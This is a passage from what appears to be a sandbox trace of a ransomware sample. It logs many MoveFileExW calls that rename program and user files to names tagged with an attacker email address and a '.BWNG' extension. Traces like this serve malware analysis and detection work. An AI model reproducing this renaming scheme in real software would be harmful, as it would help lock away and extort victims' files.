Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].Lg5Ey1RG-rlVEAPDD.BWNG" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].lg5ey1rg-rlveapdd.bwng"), dwFlags=0x1) returned 0 [0130.286] GetTickCount () returned 0x11681be [0130.286] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27223846852) returned 1 [0130.287] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].dkVErzMs-Hnvbcp8j.BWNG" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].dkverzms-hnvbcp8j.bwng"), dwFlags=0x1) returned 0 [0130.287] GetTickCount () returned 0x11681be [0130.287] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27223899196) returned 1 [0130.287] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].h8QCumKF-GsGdMDIf.BWNG" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].h8qcumkf-gsgdmdif.bwng"), dwFlags=0x1) returned 0 [0130.287] GetTickCount () returned 0x11681be [0130.287] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27223939663) returned 1 [0130.287] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\[billwong73@yahoo.com].HrhsQizP-1xIn1NKo.BWNG" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\[billwong73@yahoo.com].hrhsqizp-1xin1nko.bwng"), dwFlags=0x1) returned 0 [0130.288] GetTickCount () returned 0x11681be [0130.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27223978034) returned 1 [0130.288] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\[billwong73@yahoo.com].OazL9lB5-9xrTehbe.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\[billwong73@yahoo.com].oazl9lb5-9xrtehbe.bwng"), dwFlags=0x1) returned 1 [0130.289] GetTickCount () returned 0x11681be [0130.289] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27224122785) returned 1 [0130.289] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Istanbul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\istanbul"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].P6N61Vc3-zy6kTCPj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].p6n61vc3-zy6ktcpj.bwng"), dwFlags=0x1) returned 1 [0130.428] GetTickCount () returned 0x116824a [0130.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27238005263) returned 1 [0130.428] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Moscow" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\moscow"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].GiowCMVV-j658mUXX.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].giowcmvv-j658muxx.bwng"), dwFlags=0x1) returned 1 [0130.429] GetTickCount () returned 0x116824a [0130.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27238170942) returned 1 [0130.430] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].PA6WJcYT-bxDsHuL7.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].pa6wjcyt-bxdshul7.bwng"), dwFlags=0x1) returned 1 [0130.431] GetTickCount () returned 0x116824a [0130.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27238290977) returned 1 [0130.431] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tallinn" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\tallinn"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].fyiMDOfg-wetpASVd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].fyimdofg-wetpasvd.bwng"), dwFlags=0x1) returned 1 [0130.432] GetTickCount () returned 0x116825a [0130.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27238444921) returned 1 [0130.432] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\GMT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\gmt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].qe6II58V-8VNLvi4l.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].qe6ii58v-8vnlvi4l.bwng"), dwFlags=0x1) returned 1 [0130.434] GetTickCount () returned 0x116825a [0130.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27238602152) returned 1 [0130.434] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mauritius" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\mauritius"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\[billwong73@yahoo.com].EilPoGze-hsaZk5Cl.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\[billwong73@yahoo.com].eilpogze-hsazk5cl.bwng"), dwFlags=0x1) returned 1 [0130.435] GetTickCount () returned 0x116825a [0130.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27238767031) returned 1 [0130.436] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].lcPxp17Z-wTlSYoiO.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].lcpxp17z-wtlsyoio.bwng"), dwFlags=0x1) returned 1 [0130.443] GetTickCount () returned 0x116825a [0130.443] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27239479722) returned 1 [0130.443] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].ilxQLf2D-MNFH4Izg.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].ilxqlf2d-mnfh4izg.bwng"), dwFlags=0x1) returned 1 [0130.446] GetTickCount () returned 0x116825a [0130.446] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27239829933) returned 1 [0130.446] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Easter" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\easter"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].XxMYkV8s-gONI8lBA.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].xxmykv8s-goni8lba.bwng"), dwFlags=0x1) returned 1 [0130.490] GetTickCount () returned 0x1168289 [0130.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27244274895) returned 1 [0130.491] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Honolulu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\honolulu"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].g4gDMwZ8-cS0xVLzZ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].g4gdmwz8-cs0xvlzz.bwng"), dwFlags=0x1) returned 1 [0130.492] GetTickCount () returned 0x1168289 [0130.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27244465520) returned 1 [0130.493] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Norfolk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\norfolk"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].6eU3PNMh-o4hKqgx6.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].6eu3pnmh-o4hkqgx6.bwng"), dwFlags=0x1) returned 1 [0130.603] GetTickCount () returned 0x11682f6 [0130.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27255540000) returned 1 [0130.604] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tarawa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\tarawa"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].dFJD9j2D-k9zdDhbw.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].dfjd9j2d-k9zddhbw.bwng"), dwFlags=0x1) returned 1 [0130.605] GetTickCount () returned 0x1168306 [0130.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27255748316) returned 1 [0130.606] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\EST5EDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\est5edt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].IBSJVdxK-EMzA777F.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].ibsjvdxk-emza777f.bwng"), dwFlags=0x1) returned 1 [0130.607] GetTickCount () returned 0x1168306 [0130.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27255908699) returned 1 [0130.607] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" (normalized: "c:\\program files (x86)\\java\\jre7\\license"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\[billwong73@yahoo.com].AhyRntqa-SjVhTOih.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\[billwong73@yahoo.com].ahyrntqa-sjvhtoih.bwng"), dwFlags=0x1) returned 1 [0130.608] GetTickCount () returned 0x1168306 [0130.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27256072297) returned 1 [0130.609] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].gUU0TK4Y-3ZA4ilTF.BWNG" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].guu0tk4y-3za4iltf.bwng"), dwFlags=0x1) returned 1 [0130.610] GetTickCount () returned 0x1168306 [0130.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27256224363) returned 1 [0130.610] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].GRR7nlz8-bPZNuPcX.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].grr7nlz8-bpznupcx.bwng"), dwFlags=0x1) returned 1 [0130.622] GetTickCount () returned 0x1168315 [0130.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27257442251) returned 1 [0130.623] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.chk"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].kgi3jKHl-Wigj1Atq.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].kgi3jkhl-wigj1atq.bwng"), dwFlags=0x1) returned 1 [0130.624] GetTickCount () returned 0x1168315 [0130.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27257628068) returned 1 [0130.624] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+1"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].Yf8iWACg-p8AyNCW8.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].yf8iwacg-p8ayncw8.bwng"), dwFlags=0x1) returned 1 [0130.625] GetTickCount () returned 0x1168315 [0130.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27257774913) returned 1 [0130.626] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+8"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].207ikeIh-ZpEkkcb4.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].207ikeih-zpekkcb4.bwng"), dwFlags=0x1) returned 1 [0130.627] GetTickCount () returned 0x1168315 [0130.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27257917405) returned 1 [0130.627] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-4" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-4"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].1CBiZisR-24yd4306.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].1cbizisr-24yd4306.bwng"), dwFlags=0x1) returned 1 [0130.628] GetTickCount () returned 0x1168315 [0130.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27258052342) returned 1 [0130.629] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Athens" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\athens"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].PjwuaJBe-8cVuawny.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].pjwuajbe-8cvuawny.bwng"), dwFlags=0x1) returned 1 [0130.630] GetTickCount () returned 0x1168315 [0130.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27258216998) returned 1 [0130.630] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Helsinki" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\helsinki"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].aTyEf6Rj-q2OowksM.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].atyef6rj-q2oowksm.bwng"), dwFlags=0x1) returned 1 [0130.631] GetTickCount () returned 0x1168315 [0130.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27258361102) returned 1 [0130.632] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\helper.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\[billwong73@yahoo.com].OYBKHjZw-7TcYVQF1.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\[billwong73@yahoo.com].oybkhjzw-7tcyvqf1.bwng"), dwFlags=0x1) returned 1 [0130.633] GetTickCount () returned 0x1168315 [0130.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27258528695) returned 1 [0130.633] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Monaco" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\monaco"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].E2ilildB-TzhVbZVJ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].e2ilildb-tzhvbzvj.bwng"), dwFlags=0x1) returned 1 [0130.634] GetTickCount () returned 0x1168315 [0130.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27258669421) returned 1 [0130.740] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0130.741] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\[billwong73@yahoo.com].3UdASXnT-z9AYXKhT.BWNG" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\[billwong73@yahoo.com].3udasxnt-z9ayxkht.bwng"), dwFlags=0x1) returned 1 [0130.750] GetTickCount () returned 0x1168392 [0130.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27270270035) returned 1 [0130.751] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].mFyZvlSE-XT47KCA8.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].mfyzvlse-xt47kca8.bwng"), dwFlags=0x1) returned 1 [0130.753] GetTickCount () returned 0x1168392 [0130.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27270491721) returned 1 [0130.753] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Stockholm" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\stockholm"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].QkoG0Xri-62SCb0Xw.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].qkog0xri-62scb0xw.bwng"), dwFlags=0x1) returned 1 [0130.755] GetTickCount () returned 0x1168392 [0130.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27270770756) returned 1 [0130.756] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Zurich" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\zurich"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].Q4TFR8RJ-sYQcHB8s.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].q4tfr8rj-syqchb8s.bwng"), dwFlags=0x1) returned 1 [0130.757] GetTickCount () returned 0x1168392 [0130.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27270930656) returned 1 [0130.757] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Maldives" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\maldives"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\[billwong73@yahoo.com].DpaQxLoF-jGgupoCr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\[billwong73@yahoo.com].dpaqxlof-jggupocr.bwng"), dwFlags=0x1) returned 1 [0130.759] GetTickCount () returned 0x1168392 [0130.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27271103148) returned 1 [0130.759] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Chuuk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\chuuk"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].lQxzDsDB-xOsq0p0T.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].lqxzdsdb-xosq0p0t.bwng"), dwFlags=0x1) returned 1 [0130.761] GetTickCount () returned 0x11683a2 [0130.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27271298305) returned 1 [0130.761] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Guam" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\guam"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].CIq8u6dn-esaPfWde.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].ciq8u6dn-esapfwde.bwng"), dwFlags=0x1) returned 1 [0130.763] GetTickCount () returned 0x11683a2 [0130.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27271481358) returned 1 [0130.763] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Niue" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\niue"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].NIPpQXHS-a7uKHHPB.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].nippqxhs-a7ukhhpb.bwng"), dwFlags=0x1) returned 1 [0130.764] GetTickCount () returned 0x11683a2 [0130.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27271636181) returned 1 [0130.764] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tahiti" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\tahiti"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].PuZqPdb2-4s7SSfhg.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].puzqpdb2-4s7ssfhg.bwng"), dwFlags=0x1) returned 1 [0130.766] GetTickCount () returned 0x11683a2 [0130.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27271983180) returned 1 [0130.768] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\EST5" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\est5"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].KS5iABhI-LyMw1OTs.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].ks5iabhi-lymw1ots.bwng"), dwFlags=0x1) returned 1 [0130.769] GetTickCount () returned 0x11683a2 [0130.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27272143631) returned 1 [0130.769] MoveFileExW 